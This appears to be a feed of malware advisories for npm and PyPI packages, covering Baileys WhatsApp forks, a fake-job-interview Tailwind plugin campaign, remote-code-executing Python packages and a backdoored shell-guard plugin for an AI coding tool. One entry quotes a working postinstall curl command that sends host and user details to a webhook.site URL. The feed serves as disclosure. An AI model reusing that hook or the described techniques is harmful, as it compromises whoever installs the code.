Malicious code in fabdeploycheck (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 73447d30a03b8359b8b12dfbeeff5f6b1d252a7aa06262512a7627770cb26857 The package's only public API, check, spawns a Python child that fetches a JSON config from...

Malicious code in fabtoolkit (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e55333b9d934a04c029943e0e6fbf34fff7c1344e0d1964b6860bc02d322855d fabtoolkit executes a payload embedded as a CHILD string run via subprocess.runsys.executable,'-I','-c',CHILD,... that fetches a JSON config from...

Malicious code in @fluxionii/baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware ef615ab22e94e0940554152418d7ae9e104e895b533b579581437ba71e1a8f69 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @ostyado/baileys (npm)

This package is part of a large family 100+ identified as of September 2026 of near-identical forks of the Baileys WhatsApp Web library that inject a covert channel-subscription action into the WhatsApp socket layer. On connect, the injected code issues an authenticated w:mex FOLLOW query queryid...

Malicious code in animatecss-tailwind-luminary (npm)

animatecss-tailwind-luminary 2.0.6, 2.0.7 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by cypherbyte on 2026-09-28. src/motion.js:5 requires the private scoped...

Malicious code in tailwindcss-animatemotion (npm)

tailwindcss-animatemotion 1.0.7 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by doublekk61 on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in tailwindcss-effect-lab (npm)

tailwindcss-effect-lab 0.0.0-stage, 1.6.7 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by johnsmith0821 on 2026-10-09. src/motion.js:5 requires the private scope...

Malicious code in animatecss-tailwind-helper (npm)

animatecss-tailwind-helper 2.0.6 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by hannahgibbs on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in animate-twcss-bridge (npm)

animate-twcss-bridge 2.0.6 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by enterprise0908 on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in animate-twcss-pack (npm)

animate-twcss-pack 2.0.6 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by enterprise0908 on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in tailwind-fabric (npm)

tailwind-fabric 3.0.1, 3.0.4 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by johnxia1997 on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in animatecss-tailwind-vectrix (npm)

animatecss-tailwind-vectrix 2.0.6, 2.0.7 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by cypherbyte on 2026-09-28. src/motion.js:5 requires the private scoped...

Malicious code in tailwind-animate-kit (npm)

tailwind-animate-kit 2.0.6, 2.0.7, 2.0.8 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by keinsell-jh on 2026-09-28. src/motion.js:5 requires the private scoped...

Malicious code in animatecss-tailwind-binary (npm)

animatecss-tailwind-binary 2.0.6 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by jamesvectorpack on 2026-09-28. src/motion.js:5 requires the private scoped packa...

Malicious code in animatecss-tailwind-presets (npm)

animatecss-tailwind-presets 1.0.0, 2.0.3 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by elony16 on 2026-09-29. src/motion.js:5 requires the private scoped packa...

Malicious code in animate-tailwind-kit (npm)

animate-tailwind-kit 3.0.1, 3.0.4 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by johnxia1997 on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in tailwind-keyframes (npm)

tailwind-keyframes 2.0.6 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by adriannamrr on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in tailwindcss-animate-catalog (npm)

tailwindcss-animate-catalog 2.0.6, 2.0.7 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by hackson306623 on 2026-09-28. lib/styles/variables.js:5 requires the...

Malicious code in tailwind-animaflow-kit (npm)

tailwind-animaflow-kit 2.0.6 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by killerdev1127 on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in animatecss-tailwind-graphic (npm)

animatecss-tailwind-graphic 2.0.6 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by jamesvectorpack on 2026-09-28. src/motion.js:5 requires the private scoped...

Malicious code in signalledger-bridge (npm)

signalledger-bridge 2.0.6 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by scott-rogers on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in tailwindcss-keyframe-kit (npm)

tailwindcss-keyframe-kit 3.0.0, 3.0.1, 3.0.2 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by hackson306623 on 2026-09-28. src/generators/motion-base.js:5 require...

Malicious code in animatecss-tailwind-plugin (npm)

animatecss-tailwind-plugin 2.0.6 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by hannahgibbs on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in signalledger-diagnostics (npm)

signalledger-diagnostics 2.0.6 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by scott-rogers on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in tailwind-animatecss-kit (npm)

tailwind-animatecss-kit 2.0.6 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by killerdev1127 on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in tailwindcss-motionanimate (npm)

tailwindcss-motionanimate 1.0.1 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by doublekk61 on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in tailwindcss-visual-kit (npm)

tailwindcss-visual-kit 0.0.0-stage, 1.3.6 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by johnsmith0821 on 2026-10-09. src/motion.js:5 requires the private scope...

Malicious code in tailwind-animationlab (npm)

tailwind-animationlab 2.0.6 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by adriannamrr on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in tailwind-kinetic (npm)

tailwind-kinetic 2.0.6, 2.0.8 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by keinsell-jh on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in tailwind-css-keyframes (npm)

tailwind-css-keyframes 1.0.7 is a Tailwind CSS plugin from the fake job interview campaign behind MAL-2026-17665 and MAL-2026-17666: the same Animate.css integration template, README and description, published by kinsleybadu on 2026-09-28. src/motion.js:5 requires the private scoped package...

Malicious code in @pkgship/frpc-linux-arm64 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 01a89d7cfba25228b47bb6cbea20f478463990a50d8cf790d159626631689dd8 Package @pkgship/frpc-linux-arm64 is a platform-specific distribution linux-arm64 consistent with the common pattern of shipping a prebuilt native...

Malicious code in rootaccessxvv-bbmarker (npm)

Its postinstall hook runs on npm install: curl -s -m 10 -X POST "https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof" -H "Content-Type: text/plain" --data-binary "DPD-REGISTRY-RCE-PROOF|user=$whoami|host=$hostname|node=$node --version|os=$uname -a 2/dev/null ||...

Malicious code in leakdeep (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c0818f9da5e7dc1413ff1b2a24d3cb53d0b49d06bd802502296d6d8e8e536fee The package presents itself as an OSINT / credential-leak intelligence framework with a search CLI, but the advertised SearchEngine.search is a stub...

Malicious code in tonemaptts (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0d30c3584f91da98dea7065e548acd378e0c1fa8abe692bbfd20c4abb384e05e Package tonemaptts version 0.1.0 was scanned 6 files. No install-time network I/O, no credential or environment harvesting, no suspicious lifecycle...

Malicious code in pyrechoasr (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9b2a02d42b12227c9d61eaa5f23ffb432599d04d44adc2d7be9fae0589363d98 Package pyrechoasr version 0.1.0 on PyPI contains 6 files. No install-time or import-time network I/O, credential access, subprocess execution of...

Malicious code in driftwavets (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cc5ec2368bccc13ec6d3f5b028449a5dffe0cf88b1796271052e9e3c97145b4e driftwavets 0.1.0 contains no observed install-time or import-time code paths that read installer secrets, fetch and execute remote content, relay...

Malicious code in novalithtts (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4bb01cabcce365078bca95c60c71c3b5b7e131a0779772cccf2706d5895a1c9f Analysis of the package contents surfaced no install-time or import-time behavior affecting the installer. No lifecycle scripts, no outbound network...

Malicious code in voltswannts (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5740f5637c15349ecbe95721abb18891aa6c18dcfb05adbb698ccfe505ae5a72 The package voltswannts 0.1.0 on PyPI contains 6 scanned files with no behaviors indicating supply-chain attack against installers. No install-time o...

Malicious code in glassbeakasr (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 49081dd7d5152c882944c4e9a5f118e71daadc5efa3e71c96fbdffe0840dedb5 The package exposes a runprofile, url, kwargs function that fetches a caller-supplied URL and executes the response body as Python via execcompilesrc...

Malicious code in emberlytts (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b082c02a5246d61d7d9a5392961f29f51bf9db1aebdb9901b79fa363f173ba4e Analysis of emberlytts 0.1.0 across 6 files surfaced no install-time or import-time network activity, no credential or environment reads targeting...

Malicious code in quasitonnts (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 85125cc2bc8e39e151e11ee36382b5d2e2167dfb215e654ade236e46b783b062 Package quasitonnts version 0.1.0 on PyPI was examined and no code paths performing credential access, outbound network I/O to attacker-controlled...

Malicious code in ukraine69 (PyPI)

Importing ukraine69 in versions 1.2.0–1.2.2 and 1.2.5–1.2.8 searches for local .vault files and starts a detached Python child with suppressed standard streams. Given a vault with usable Telegram session fields, the child attempts account.deleteAccount using GoyGram, with a Telethon fallback in...

Malicious code in itsa-react-maskedinput (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 6914d695ead470d8344308ee1f4fe9600932b7afbfcd14550ea2e95f8d54a6f6 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in itsa-react-focuscontainer (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3f24dbbde4e8dd3528a7be768f6d332bda8a3dbdebbb82054ad14992ab4b5889 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @beloved-lenora/opencode-shell-guard (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ff8dd8daa41992a2f1dec185b6924f6cc81b7172b55cccd6930f062317984ba8 The package presents itself as a safety guard that reviews shell commands before execution, but contains an undocumented branch that activates when t...

Malicious code in @beloved-lenora/opencode-orchestrator (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware fb9b82fbe28422745ef37e0239d9a11d86705c6a93808e1e90303e31622db2fe Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @beloved-lenora/opencode-shared-rpc (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 884dad30e4b92d47985e1d8e7db8580665e8a5cd392023ea672243b62685b157 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @beloved-lenora/opencode-stats (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 84f3316cd114c1dae8ec5b0470fc9f16297c74c495b645085103a553002e825e Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @beloved-lenora/opencode-goal (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 39f1eed75bb488db0e57e37f9f513e30a616eb00464b41c33bdea3342b9969b6 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @beloved-lenora/opencode-todo (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3b77fc053f72d1eaff51ad3b9af235119b5aa1dbb28d216c084e7023d4e963f6 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...